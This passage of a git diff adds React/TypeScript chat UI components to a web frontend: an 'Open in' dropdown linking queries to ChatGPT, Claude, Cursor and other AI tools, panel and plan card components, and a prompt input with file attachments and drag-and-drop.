+    createUrl: (q: string) =>
+      `https://v0.app?${new URLSearchParams({
+        q,
+      })}`,
+    icon: (
+      <svg
+        fill='currentColor'
+        viewBox='0 0 147 70'
+        xmlns='http://www.w3.org/2000/svg'
+      >
+        <title>v0</title>
+        <path d='M56 50.2031V14H70V60.1562C70 65.5928 65.5928 70 60.1562 70C57.5605 70 54.9982 68.9992 53.1562 67.1573L0 14H19.7969L56 50.2031Z' />
+        <path d='M147 56H133V23.9531L100.953 56H133V70H96.6875C85.8144 70 77 61.1856 77 50.3125V14H91V46.1562L123.156 14H91V0H127.312C138.186 0 147 8.81439 147 19.6875V56Z' />
+      </svg>
+    ),
+  },
+  cursor: {
+    title: 'Open in Cursor',
+    createUrl: (text: string) => {
+      const url = new URL('https://cursor.com/link/prompt')
+      url.searchParams.set('text', text)
+      return url.toString()
+    },
+    icon: (
+      <svg
+        version='1.1'
+        viewBox='0 0 466.73 532.09'
+        xmlns='http://www.w3.org/2000/svg'
+      >
+        <title>Cursor</title>
+        <path
+          d='M457.43,125.94L244.42,2.96c-6.84-3.95-15.28-3.95-22.12,0L9.3,125.94c-5.75,3.32-9.3,9.46-9.3,16.11v247.99c0,6.65,3.55,12.79,9.3,16.11l213.01,122.98c6.84,3.95,15.28,3.95,22.12,0l213.01-122.98c5.75-3.32,9.3-9.46,9.3-16.11v-247.99c0-6.65-3.55-12.79-9.3-16.11h-.01ZM444.05,151.99l-205.63,356.16c-1.39,2.4-5.06,1.42-5.06-1.36v-233.21c0-4.66-2.49-8.97-6.53-11.31L24.87,145.67c-2.4-1.39-1.42-5.06,1.36-5.06h411.26c5.84,0,9.49,6.33,6.57,11.39h-.01Z'
+          fill='currentColor'
+        />
+      </svg>
+    ),
+  },
+}
+
+const OpenInContext = createContext<{ query: string } | undefined>(undefined)
+
+const useOpenInContext = () => {
+  const context = useContext(OpenInContext)
+  if (!context) {
+    throw new Error('OpenIn components must be used within an OpenIn provider')
+  }
+  return context
+}
+
+export type OpenInProps = ComponentProps<typeof DropdownMenu> & {
+  query: string
+}
+
+export const OpenIn = ({ query, ...props }: OpenInProps) => (
+  <OpenInContext.Provider value={{ query }}>
+    <DropdownMenu {...props} />
+  </OpenInContext.Provider>
+)
+
+export type OpenInContentProps = ComponentProps<typeof DropdownMenuContent>
+
+export const OpenInContent = ({ className, ...props }: OpenInContentProps) => (
+  <DropdownMenuContent
+    align='start'
+    className={cn('w-[240px]', className)}
+    {...props}
+  />
+)
+
+export type OpenInItemProps = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInItem = (props: OpenInItemProps) => (
+  <DropdownMenuItem {...props} />
+)
+
+export type OpenInLabelProps = ComponentProps<typeof DropdownMenuLabel>
+
+export const OpenInLabel = (props: OpenInLabelProps) => (
+  <DropdownMenuLabel {...props} />
+)
+
+export type OpenInSeparatorProps = ComponentProps<typeof DropdownMenuSeparator>
+
+export const OpenInSeparator = (props: OpenInSeparatorProps) => (
+  <DropdownMenuSeparator {...props} />
+)
+
+export type OpenInTriggerProps = ComponentProps<typeof DropdownMenuTrigger>
+
+export const OpenInTrigger = ({ children, ...props }: OpenInTriggerProps) => {
+  const { t } = useTranslation()
+  return (
+    <DropdownMenuTrigger {...props} asChild>
+      {children ?? (
+        <Button type='button' variant='outline'>
+          {t('Open in chat')}
+          <ChevronDownIcon className='ml-2 size-4' />
+        </Button>
+      )}
+    </DropdownMenuTrigger>
+  )
+}
+
+export type OpenInChatGPTProps = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInChatGPT = (props: OpenInChatGPTProps) => {
+  const { query } = useOpenInContext()
+  return (
+    <DropdownMenuItem asChild {...props}>
+      <a
+        className='flex items-center gap-2'
+        href={providers.chatgpt.createUrl(query)}
+        rel='noopener'
+        target='_blank'
+      >
+        <span className='shrink-0'>{providers.chatgpt.icon}</span>
+        <span className='flex-1'>{providers.chatgpt.title}</span>
+        <ExternalLinkIcon className='size-4 shrink-0' />
+      </a>
+    </DropdownMenuItem>
+  )
+}
+
+export type OpenInClaudeProps = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInClaude = (props: OpenInClaudeProps) => {
+  const { query } = useOpenInContext()
+  return (
+    <DropdownMenuItem asChild {...props}>
+      <a
+        className='flex items-center gap-2'
+        href={providers.claude.createUrl(query)}
+        rel='noopener'
+        target='_blank'
+      >
+        <span className='shrink-0'>{providers.claude.icon}</span>
+        <span className='flex-1'>{providers.claude.title}</span>
+        <ExternalLinkIcon className='size-4 shrink-0' />
+      </a>
+    </DropdownMenuItem>
+  )
+}
+
+export type OpenInT3Props = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInT3 = (props: OpenInT3Props) => {
+  const { query } = useOpenInContext()
+  return (
+    <DropdownMenuItem asChild {...props}>
+      <a
+        className='flex items-center gap-2'
+        href={providers.t3.createUrl(query)}
+        rel='noopener'
+        target='_blank'
+      >
+        <span className='shrink-0'>{providers.t3.icon}</span>
+        <span className='flex-1'>{providers.t3.title}</span>
+        <ExternalLinkIcon className='size-4 shrink-0' />
+      </a>
+    </DropdownMenuItem>
+  )
+}
+
+export type OpenInSciraProps = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInScira = (props: OpenInSciraProps) => {
+  const { query } = useOpenInContext()
+  return (
+    <DropdownMenuItem asChild {...props}>
+      <a
+        className='flex items-center gap-2'
+        href={providers.scira.createUrl(query)}
+        rel='noopener'
+        target='_blank'
+      >
+        <span className='shrink-0'>{providers.scira.icon}</span>
+        <span className='flex-1'>{providers.scira.title}</span>
+        <ExternalLinkIcon className='size-4 shrink-0' />
+      </a>
+    </DropdownMenuItem>
+  )
+}
+
+export type OpenInv0Props = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInv0 = (props: OpenInv0Props) => {
+  const { query } = useOpenInContext()
+  return (
+    <DropdownMenuItem asChild {...props}>
+      <a
+        className='flex items-center gap-2'
+        href={providers.v0.createUrl(query)}
+        rel='noopener'
+        target='_blank'
+      >
+        <span className='shrink-0'>{providers.v0.icon}</span>
+        <span className='flex-1'>{providers.v0.title}</span>
+        <ExternalLinkIcon className='size-4 shrink-0' />
+      </a>
+    </DropdownMenuItem>
+  )
+}
+
+export type OpenInCursorProps = ComponentProps<typeof DropdownMenuItem>
+
+export const OpenInCursor = (props: OpenInCursorProps) => {
+  const { query } = useOpenInContext()
+  return (
+    <DropdownMenuItem asChild {...props}>
+      <a
+        className='flex items-center gap-2'
+        href={providers.cursor.createUrl(query)}
+        rel='noopener'
+        target='_blank'
+      >
+        <span className='shrink-0'>{providers.cursor.icon}</span>
+        <span className='flex-1'>{providers.cursor.title}</span>
+        <ExternalLinkIcon className='size-4 shrink-0' />
+      </a>
+    </DropdownMenuItem>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/panel.tsx b/new-api/web/default/src/components/ai-elements/panel.tsx
new file mode 100644
index 0000000..bf147c4
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/panel.tsx
@@ -0,0 +1,15 @@
+import type { ComponentProps } from 'react'
+import { Panel as PanelPrimitive } from '@xyflow/react'
+import { cn } from '@/lib/utils'
+
+type PanelProps = ComponentProps<typeof PanelPrimitive>
+
+export const Panel = ({ className, ...props }: PanelProps) => (
+  <PanelPrimitive
+    className={cn(
+      'bg-card m-4 overflow-hidden rounded-md border p-1',
+      className
+    )}
+    {...props}
+  />
+)
diff --git a/new-api/web/default/src/components/ai-elements/plan.tsx b/new-api/web/default/src/components/ai-elements/plan.tsx
new file mode 100644
index 0000000..8e54777
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/plan.tsx
@@ -0,0 +1,145 @@
+'use client'
+
+import { type ComponentProps, createContext, useContext } from 'react'
+import { ChevronsUpDownIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardFooter,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { Shimmer } from './shimmer'
+
+type PlanContextValue = {
+  isStreaming: boolean
+}
+
+const PlanContext = createContext<PlanContextValue | null>(null)
+
+const usePlan = () => {
+  const context = useContext(PlanContext)
+  if (!context) {
+    throw new Error('Plan components must be used within Plan')
+  }
+  return context
+}
+
+export type PlanProps = ComponentProps<typeof Collapsible> & {
+  isStreaming?: boolean
+}
+
+export const Plan = ({
+  className,
+  isStreaming = false,
+  children,
+  ...props
+}: PlanProps) => (
+  <PlanContext.Provider value={{ isStreaming }}>
+    <Collapsible asChild data-slot='plan' {...props}>
+      <Card className={cn('shadow-none', className)}>{children}</Card>
+    </Collapsible>
+  </PlanContext.Provider>
+)
+
+export type PlanHeaderProps = ComponentProps<typeof CardHeader>
+
+export const PlanHeader = ({ className, ...props }: PlanHeaderProps) => (
+  <CardHeader
+    className={cn('flex items-start justify-between', className)}
+    data-slot='plan-header'
+    {...props}
+  />
+)
+
+export type PlanTitleProps = Omit<
+  ComponentProps<typeof CardTitle>,
+  'children'
+> & {
+  children: string
+}
+
+export const PlanTitle = ({ children, ...props }: PlanTitleProps) => {
+  const { isStreaming } = usePlan()
+
+  return (
+    <CardTitle data-slot='plan-title' {...props}>
+      {isStreaming ? <Shimmer>{children}</Shimmer> : children}
+    </CardTitle>
+  )
+}
+
+export type PlanDescriptionProps = Omit<
+  ComponentProps<typeof CardDescription>,
+  'children'
+> & {
+  children: string
+}
+
+export const PlanDescription = ({
+  className,
+  children,
+  ...props
+}: PlanDescriptionProps) => {
+  const { isStreaming } = usePlan()
+
+  return (
+    <CardDescription
+      className={cn('text-balance', className)}
+      data-slot='plan-description'
+      {...props}
+    >
+      {isStreaming ? <Shimmer>{children}</Shimmer> : children}
+    </CardDescription>
+  )
+}
+
+export type PlanActionProps = ComponentProps<typeof CardAction>
+
+export const PlanAction = (props: PlanActionProps) => (
+  <CardAction data-slot='plan-action' {...props} />
+)
+
+export type PlanContentProps = ComponentProps<typeof CardContent>
+
+export const PlanContent = (props: PlanContentProps) => (
+  <CollapsibleContent asChild>
+    <CardContent data-slot='plan-content' {...props} />
+  </CollapsibleContent>
+)
+
+export type PlanFooterProps = ComponentProps<'div'>
+
+export const PlanFooter = (props: PlanFooterProps) => (
+  <CardFooter data-slot='plan-footer' {...props} />
+)
+
+export type PlanTriggerProps = ComponentProps<typeof CollapsibleTrigger>
+
+export const PlanTrigger = ({ className, ...props }: PlanTriggerProps) => {
+  const { t } = useTranslation()
+  return (
+    <CollapsibleTrigger asChild>
+      <Button
+        className={cn('size-8', className)}
+        data-slot='plan-trigger'
+        size='icon'
+        variant='ghost'
+        {...props}
+      >
+        <ChevronsUpDownIcon className='size-4' />
+        <span className='sr-only'>{t('Toggle plan')}</span>
+      </Button>
+    </CollapsibleTrigger>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/prompt-input.tsx b/new-api/web/default/src/components/ai-elements/prompt-input.tsx
new file mode 100644
index 0000000..80d05ab
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/prompt-input.tsx
@@ -0,0 +1,1386 @@
+/* eslint-disable react-refresh/only-export-components */
+'use client'
+
+import {
+  type ChangeEvent,
+  type ChangeEventHandler,
+  Children,
+  type ClipboardEventHandler,
+  type ComponentProps,
+  createContext,
+  type FormEvent,
+  type FormEventHandler,
+  Fragment,
+  type HTMLAttributes,
+  type KeyboardEventHandler,
+  type PropsWithChildren,
+  type ReactNode,
+  type RefObject,
+  useCallback,
+  useContext,
+  useEffect,
+  useMemo,
+  useRef,
+  useState,
+} from 'react'
+import type { ChatStatus, FileUIPart } from 'ai'
+import {
+  ImageIcon,
+  Loader2Icon,
+  MicIcon,
+  PaperclipIcon,
+  PlusIcon,
+  SendIcon,
+  SquareIcon,
+  XIcon,
+} from 'lucide-react'
+import { nanoid } from 'nanoid'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+  CommandSeparator,
+} from '@/components/ui/command'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import {
+  HoverCard,
+  HoverCardContent,
+  HoverCardTrigger,
+} from '@/components/ui/hover-card'
+import {
+  InputGroup,
+  InputGroupAddon,
+  InputGroupButton,
+  InputGroupTextarea,
+} from '@/components/ui/input-group'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+
+// ============================================================================
+// Provider Context & Types
+// ============================================================================
+
+export type AttachmentsContext = {
+  files: (FileUIPart & { id: string })[]
+  add: (files: File[] | FileList) => void
+  remove: (id: string) => void
+  clear: () => void
+  openFileDialog: () => void
+  fileInputRef: RefObject<HTMLInputElement | null>
+}
+
+export type TextInputContext = {
+  value: string
+  setInput: (v: string) => void
+  clear: () => void
+}
+
+export type PromptInputControllerProps = {
+  textInput: TextInputContext
+  attachments: AttachmentsContext
+  /** INTERNAL: Allows PromptInput to register its file textInput + "open" callback */
+  __registerFileInput: (
+    ref: RefObject<HTMLInputElement | null>,
+    open: () => void
+  ) => void
+}
+
+const PromptInputController = createContext<PromptInputControllerProps | null>(
+  null
+)
+const ProviderAttachmentsContext = createContext<AttachmentsContext | null>(
+  null
+)
+
+export const usePromptInputController = () => {
+  const ctx = useContext(PromptInputController)
+  if (!ctx) {
+    throw new Error(
+      'Wrap your component inside <PromptInputProvider> to use usePromptInputController().'
+    )
+  }
+  return ctx
+}
+
+// Optional variants (do NOT throw). Useful for dual-mode components.
+const useOptionalPromptInputController = () => useContext(PromptInputController)
+
+export const useProviderAttachments = () => {
+  const ctx = useContext(ProviderAttachmentsContext)
+  if (!ctx) {
+    throw new Error(
+      'Wrap your component inside <PromptInputProvider> to use useProviderAttachments().'
+    )
+  }
+  return ctx
+}
+
+const useOptionalProviderAttachments = () =>
+  useContext(ProviderAttachmentsContext)
+
+export type PromptInputProviderProps = PropsWithChildren<{
+  initialInput?: string
+}>
+
+/**
+ * Optional global provider that lifts PromptInput state outside of PromptInput.
+ * If you don't use it, PromptInput stays fully self-managed.
+ */
+export function PromptInputProvider({
+  initialInput: initialTextInput = '',
+  children,
+}: PromptInputProviderProps) {
+  // ----- textInput state
+  const [textInput, setTextInput] = useState(initialTextInput)
+  const clearInput = useCallback(() => setTextInput(''), [])
+
+  // ----- attachments state (global when wrapped)
+  const [attachements, setAttachements] = useState<
+    (FileUIPart & { id: string })[]
+  >([])
+  const fileInputRef = useRef<HTMLInputElement | null>(null)
+  const openRef = useRef<() => void>(() => {})
+
+  const add = useCallback((files: File[] | FileList) => {
+    const incoming = Array.from(files)
+    if (incoming.length === 0) return
+
+    setAttachements((prev) =>
+      prev.concat(
+        incoming.map((file) => ({
+          id: nanoid(),
+          type: 'file' as const,
+          url: URL.createObjectURL(file),
+          mediaType: file.type,
+          filename: file.name,
+        }))
+      )
+    )
+  }, [])
+
+  const remove = useCallback((id: string) => {
+    setAttachements((prev) => {
+      const found = prev.find((f) => f.id === id)
+      if (found?.url) URL.revokeObjectURL(found.url)
+      return prev.filter((f) => f.id !== id)
+    })
+  }, [])
+
+  const clear = useCallback(() => {
+    setAttachements((prev) => {
+      for (const f of prev) if (f.url) URL.revokeObjectURL(f.url)
+      return []
+    })
+  }, [])
+
+  const openFileDialog = useCallback(() => {
+    openRef.current?.()
+  }, [])
+
+  const attachments = useMemo<AttachmentsContext>(
+    () => ({
+      files: attachements,
+      add,
+      remove,
+      clear,
+      openFileDialog,
+      fileInputRef,
+    }),
+    [attachements, add, remove, clear, openFileDialog]
+  )
+
+  const __registerFileInput = useCallback(
+    (ref: RefObject<HTMLInputElement | null>, open: () => void) => {
+      fileInputRef.current = ref.current
+      openRef.current = open
+    },
+    []
+  )
+
+  const controller = useMemo<PromptInputControllerProps>(
+    () => ({
+      textInput: {
+        value: textInput,
+        setInput: setTextInput,
+        clear: clearInput,
+      },
+      attachments,
+      __registerFileInput,
+    }),
+    [textInput, clearInput, attachments, __registerFileInput]
+  )
+
+  return (
+    <PromptInputController.Provider value={controller}>
+      <ProviderAttachmentsContext.Provider value={attachments}>
+        {children}
+      </ProviderAttachmentsContext.Provider>
+    </PromptInputController.Provider>
+  )
+}
+
+// ============================================================================
+// Component Context & Hooks
+// ============================================================================
+
+const LocalAttachmentsContext = createContext<AttachmentsContext | null>(null)
+
+export const usePromptInputAttachments = () => {
+  // Dual-mode: prefer provider if present, otherwise use local
+  const provider = useOptionalProviderAttachments()
+  const local = useContext(LocalAttachmentsContext)
+  const context = provider ?? local
+  if (!context) {
+    throw new Error(
+      'usePromptInputAttachments must be used within a PromptInput or PromptInputProvider'
+    )
+  }
+  return context
+}
+
+export type PromptInputAttachmentProps = HTMLAttributes<HTMLDivElement> & {
+  data: FileUIPart & { id: string }
+  className?: string
+}
+
+export function PromptInputAttachment({
+  data,
+  className,
+  ...props
+}: PromptInputAttachmentProps) {
+  const { t } = useTranslation()
+  const attachments = usePromptInputAttachments()
+
+  const filename = data.filename || ''
+
+  const mediaType =
+    data.mediaType?.startsWith('image/') && data.url ? 'image' : 'file'
+  const isImage = mediaType === 'image'
+
+  const attachmentLabel = filename || (isImage ? 'Image' : 'Attachment')
+
+  return (
+    <PromptInputHoverCard>
+      <HoverCardTrigger asChild>
+        <div
+          className={cn(
+            'group border-border hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50 relative flex h-8 cursor-default items-center gap-1.5 rounded-md border px-1.5 text-sm font-medium transition-all select-none',
+            className
+          )}
+          key={data.id}
+          {...props}
+        >
+          <div className='relative size-5 shrink-0'>
+            <div className='bg-background absolute inset-0 flex size-5 items-center justify-center overflow-hidden rounded transition-opacity group-hover:opacity-0'>
+              {isImage ? (
+                <img
+                  alt={filename || 'attachment'}
+                  className='size-5 object-cover'
+                  height={20}
+                  src={data.url}
+                  width={20}
+                />
+              ) : (
+                <div className='text-muted-foreground flex size-5 items-center justify-center'>
+                  <PaperclipIcon className='size-3' />
+                </div>
+              )}
+            </div>
+            <Button
+              aria-label={t('Remove attachment')}
+              className='absolute inset-0 size-5 cursor-pointer rounded p-0 opacity-0 transition-opacity group-hover:pointer-events-auto group-hover:opacity-100 [&>svg]:size-2.5'
+              onClick={(e) => {
+                e.stopPropagation()
+                attachments.remove(data.id)
+              }}
+              type='button'
+              variant='ghost'
+            >
+              <XIcon />
+              <span className='sr-only'>{t('Remove')}</span>
+            </Button>
+          </div>
+
+          <span className='flex-1 truncate'>{attachmentLabel}</span>
+        </div>
+      </HoverCardTrigger>
+      <PromptInputHoverCardContent className='w-auto p-2'>
+        <div className='w-auto space-y-3'>
+          {isImage && (
+            <div className='flex max-h-96 w-96 items-center justify-center overflow-hidden rounded-md border'>
+              <img
+                alt={filename || 'attachment preview'}
+                className='max-h-full max-w-full object-contain'
+                height={384}
+                src={data.url}
+                width={448}
+              />
+            </div>
+          )}
+          <div className='flex items-center gap-2.5'>
+            <div className='min-w-0 flex-1 space-y-1 px-0.5'>
+              <h4 className='truncate text-sm leading-none font-semibold'>
+                {filename || (isImage ? 'Image' : 'Attachment')}
+              </h4>
+              {data.mediaType && (
+                <p className='text-muted-foreground truncate font-mono text-xs'>
+                  {data.mediaType}
+                </p>
+              )}
+            </div>
+          </div>
+        </div>
+      </PromptInputHoverCardContent>
+    </PromptInputHoverCard>
+  )
+}
+
+export type PromptInputAttachmentsProps = Omit<
+  HTMLAttributes<HTMLDivElement>,
+  'children'
+> & {
+  children: (attachment: FileUIPart & { id: string }) => ReactNode
+}
+
+export function PromptInputAttachments({
+  children,
+}: PromptInputAttachmentsProps) {
+  const attachments = usePromptInputAttachments()
+
+  if (!attachments.files.length) {
+    return null
+  }
+
+  return attachments.files.map((file) => (
+    <Fragment key={file.id}>{children(file)}</Fragment>
+  ))
+}
+
+export type PromptInputActionAddAttachmentsProps = ComponentProps<
+  typeof DropdownMenuItem
+> & {
+  label?: string
+}
+
+export const PromptInputActionAddAttachments = ({
+  label,
+  ...props
+}: PromptInputActionAddAttachmentsProps) => {
+  const { t } = useTranslation()
+  const resolvedLabel = label ?? t('Add photos or files')
+  const attachments = usePromptInputAttachments()
+
+  return (
+    <DropdownMenuItem
+      {...props}
+      onSelect={(e) => {
+        e.preventDefault()
+        attachments.openFileDialog()
+      }}
+    >
+      <ImageIcon className='mr-2 size-4' /> {resolvedLabel}
+    </DropdownMenuItem>
+  )
+}
+
+export type PromptInputMessage = {
+  text?: string
+  files?: FileUIPart[]
+}
+
+export type PromptInputProps = Omit<
+  HTMLAttributes<HTMLFormElement>,
+  'onSubmit' | 'onError'
+> & {
+  accept?: string // e.g., "image/*" or leave undefined for any
+  multiple?: boolean
+  // When true, accepts drops anywhere on document. Default false (opt-in).
+  globalDrop?: boolean
+  // Render a hidden input with given name and keep it in sync for native form posts. Default false.
+  syncHiddenInput?: boolean
+  // Minimal constraints
+  maxFiles?: number
+  maxFileSize?: number // bytes
+  onError?: (err: {
+    code: 'max_files' | 'max_file_size' | 'accept'
+    message: string
+  }) => void
+  onSubmit: (
+    message: PromptInputMessage,
+    event: FormEvent<HTMLFormElement>
+  ) => void | Promise<void>
+  /**
+   * Optional className applied to the inner InputGroup wrapper
+   * (useful for customizing rounded corners, e.g., rounded-[20px]).
+   */
+  groupClassName?: string
+}
+
+export const PromptInput = ({
+  className,
+  groupClassName,
+  accept,
+  multiple,
+  globalDrop,
+  syncHiddenInput,
+  maxFiles,
+  maxFileSize,
+  onError,
+  onSubmit,
+  children,
+  ...props
+}: PromptInputProps) => {
+  const { t } = useTranslation()
+  // Try to use a provider controller if present
+  const controller = useOptionalPromptInputController()
+  const usingProvider = !!controller
+
+  // Refs
+  const inputRef = useRef<HTMLInputElement | null>(null)
+  const anchorRef = useRef<HTMLSpanElement>(null)
+  const formRef = useRef<HTMLFormElement | null>(null)
+
+  // Find nearest form to scope drag & drop
+  useEffect(() => {
+    const root = anchorRef.current?.closest('form')
+    if (root instanceof HTMLFormElement) {
+      formRef.current = root
+    }
+  }, [])
+
+  // ----- Local attachments (only used when no provider)
+  const [items, setItems] = useState<(FileUIPart & { id: string })[]>([])
+  const files = usingProvider ? controller.attachments.files : items
+
+  const openFileDialogLocal = useCallback(() => {
+    inputRef.current?.click()
+  }, [])
+
+  const matchesAccept = useCallback(
+    (f: File) => {
+      if (!accept || accept.trim() === '') {
+        return true
+      }
+      if (accept.includes('image/*')) {
+        return f.type.startsWith('image/')
+      }
+      // NOTE: keep simple; expand as needed
+      return true
+    },
+    [accept]
+  )
+
+  const addLocal = useCallback(
+    (fileList: File[] | FileList) => {
+      const incoming = Array.from(fileList)
+      const accepted = incoming.filter((f) => matchesAccept(f))
+      if (incoming.length && accepted.length === 0) {
+        onError?.({
+          code: 'accept',
+          message: t('No files match the accepted types.'),
+        })
+        return
+      }
+      const withinSize = (f: File) =>
+        maxFileSize ? f.size <= maxFileSize : true
+      const sized = accepted.filter(withinSize)
+      if (accepted.length > 0 && sized.length === 0) {
+        onError?.({
+          code: 'max_file_size',
+          message: t('All files exceed the maximum size.'),
+        })
+        return
+      }
+
+      setItems((prev) => {
+        const capacity =
+          typeof maxFiles === 'number'
+            ? Math.max(0, maxFiles - prev.length)
+            : undefined
+        const capped =
+          typeof capacity === 'number' ? sized.slice(0, capacity) : sized
+        if (typeof capacity === 'number' && sized.length > capacity) {
+          onError?.({
+            code: 'max_files',
+            message: t('Too many files. Some were not added.'),
+          })
+        }
+        const next: (FileUIPart & { id: string })[] = []
+        for (const file of capped) {
+          next.push({
+            id: nanoid(),
+            type: 'file',
+            url: URL.createObjectURL(file),
+            mediaType: file.type,
+            filename: file.name,
+          })
+        }
+        return prev.concat(next)
+      })
+    },
+    [matchesAccept, maxFiles, maxFileSize, onError, t]
+  )
+
+  const add = useMemo(
+    () =>
+      controller
+        ? (files: File[] | FileList) => controller.attachments.add(files)
+        : addLocal,
+    [controller, addLocal]
+  )
+
+  const remove = useMemo(
+    () =>
+      controller
+        ? (id: string) => controller.attachments.remove(id)
+        : (id: string) =>
+            setItems((prev) => {
+              const found = prev.find((file) => file.id === id)
+              if (found?.url) {
+                URL.revokeObjectURL(found.url)
+              }
+              return prev.filter((file) => file.id !== id)
+            }),
+    [controller]
+  )
+
+  const clear = useMemo(
+    () =>
+      controller
+        ? () => controller.attachments.clear()
+        : () =>
+            setItems((prev) => {
+              for (const file of prev) {
+                if (file.url) {
+                  URL.revokeObjectURL(file.url)
+                }
+              }
+              return []
+            }),
+    [controller]
+  )
+
+  const openFileDialog = useMemo(
+    () =>
+      controller
+        ? () => controller.attachments.openFileDialog()
+        : openFileDialogLocal,
+    [controller, openFileDialogLocal]
+  )
+
+  // Let provider know about our hidden file input so external menus can call openFileDialog()
+  useEffect(() => {
+    if (!usingProvider) return
+    controller.__registerFileInput(inputRef, () => inputRef.current?.click())
+  }, [usingProvider, controller])
+
+  // Note: File input cannot be programmatically set for security reasons
+  // The syncHiddenInput prop is no longer functional
+  useEffect(() => {
+    if (syncHiddenInput && inputRef.current && files.length === 0) {
+      inputRef.current.value = ''
+    }
+  }, [files, syncHiddenInput])
+
+  // Attach drop handlers on nearest form and document (opt-in)
+  useEffect(() => {
+    const form = formRef.current
+    if (!form) return
+
+    const onDragOver = (e: DragEvent) => {
+      if (e.dataTransfer?.types?.includes('Files')) {
+        e.preventDefault()
+      }
+    }
+    const onDrop = (e: DragEvent) => {
+      if (e.dataTransfer?.types?.includes('Files')) {
+        e.preventDefault()
+      }
+      if (e.dataTransfer?.files && e.dataTransfer.files.length > 0) {
+        add(e.dataTransfer.files)
+      }
+    }
+    form.addEventListener('dragover', onDragOver)
+    form.addEventListener('drop', onDrop)
+    return () => {
+      form.removeEventListener('dragover', onDragOver)
+      form.removeEventListener('drop', onDrop)
+    }
+  }, [add])
+
+  useEffect(() => {
+    if (!globalDrop) return
+
+    const onDragOver = (e: DragEvent) => {
+      if (e.dataTransfer?.types?.includes('Files')) {
+        e.preventDefault()
+      }
+    }
+    const onDrop = (e: DragEvent) => {
+      if (e.dataTransfer?.types?.includes('Files')) {
+        e.preventDefault()
+      }
+      if (e.dataTransfer?.files && e.dataTransfer.files.length > 0) {
+        add(e.dataTransfer.files)
+      }
+    }
+    document.addEventListener('dragover', onDragOver)
+    document.addEventListener('drop', onDrop)
+    return () => {
+      document.removeEventListener('dragover', onDragOver)
+      document.removeEventListener('drop', onDrop)
+    }
+  }, [add, globalDrop])
+
+  useEffect(
+    () => () => {
+      if (!usingProvider) {
+        for (const f of files) {
+          if (f.url) URL.revokeObjectURL(f.url)
+        }
+      }
+    },
+    [usingProvider, files]
+  )
+
+  const handleChange: ChangeEventHandler<HTMLInputElement> = (event) => {
+    if (event.currentTarget.files) {
+      add(event.currentTarget.files)
+    }
+  }
+
+  const convertBlobUrlToDataUrl = async (url: string): Promise<string> => {
+    const response = await fetch(url)
+    const blob = await response.blob()
+    return new Promise((resolve, reject) => {
+      const reader = new FileReader()
+      reader.onloadend = () => resolve(reader.result as string)
+      reader.onerror = reject
+      reader.readAsDataURL(blob)
+    })
+  }
+
+  const ctx = useMemo<AttachmentsContext>(
+    () => ({
+      files: files.map((item) => ({ ...item, id: item.id })),
+      add,
+      remove,
+      clear,
+      openFileDialog,
+      fileInputRef: inputRef,
+    }),
+    [files, add, remove, clear, openFileDialog]
+  )
+
+  const handleSubmit: FormEventHandler<HTMLFormElement> = (event) => {
+    event.preventDefault()
+
+    const form = event.currentTarget
+    const text = usingProvider
+      ? controller.textInput.value
+      : (() => {
+          const formData = new FormData(form)
+          return (formData.get('message') as string) || ''
+        })()
+
+    // Reset form immediately after capturing text to avoid race condition
+    // where user input during async blob conversion would be lost
+    if (!usingProvider) {
+      form.reset()
+    }
+
+    // Convert blob URLs to data URLs asynchronously
+    Promise.all(
+      files.map(async ({ id, ...item }) => {
+        if (item.url && item.url.startsWith('blob:')) {
+          return {
+            ...item,
+            url: await convertBlobUrlToDataUrl(item.url),
+          }
+        }
+        return item
+      })
+    ).then((convertedFiles: FileUIPart[]) => {
+      try {
+        const result = onSubmit({ text, files: convertedFiles }, event)
+
+        // Handle both sync and async onSubmit
+        if (result instanceof Promise) {
+          result
+            .then(() => {
+              clear()
+              if (usingProvider) {
+                controller.textInput.clear()
+              }
+            })
+            .catch(() => {
+              // Don't clear on error - user may want to retry
+            })
+        } else {
+          // Sync function completed without throwing, clear attachments
+          clear()
+          if (usingProvider) {
+            controller.textInput.clear()
+          }
+        }
+      } catch (_error) {
+        // Don't clear on error - user may want to retry
+      }
+    })
+  }
+
+  // Render with or without local provider
+  const inner = (
+    <>
+      <span aria-hidden='true' className='hidden' ref={anchorRef} />
+      <input
+        accept={accept}
+        aria-label={t('Upload files')}
+        className='hidden'
+        multiple={multiple}
+        onChange={handleChange}
+        ref={inputRef}
+        title={t('Upload files')}
+        type='file'
+      />
+      <form
+        className={cn('w-full', className)}
+        onSubmit={handleSubmit}
+        {...props}
+      >
+        <InputGroup className={groupClassName}>{children}</InputGroup>
+      </form>
+    </>
+  )
+
+  return usingProvider ? (
+    inner
+  ) : (
+    <LocalAttachmentsContext.Provider value={ctx}>
+      {inner}
+    </LocalAttachmentsContext.Provider>
+  )
+}
+
+export type PromptInputBodyProps = HTMLAttributes<HTMLDivElement>
+
+export const PromptInputBody = ({
+  className,
+  ...props
+}: PromptInputBodyProps) => (
+  <div className={cn('contents', className)} {...props} />
+)
+
+export type PromptInputTextareaProps = ComponentProps<typeof InputGroupTextarea>
+
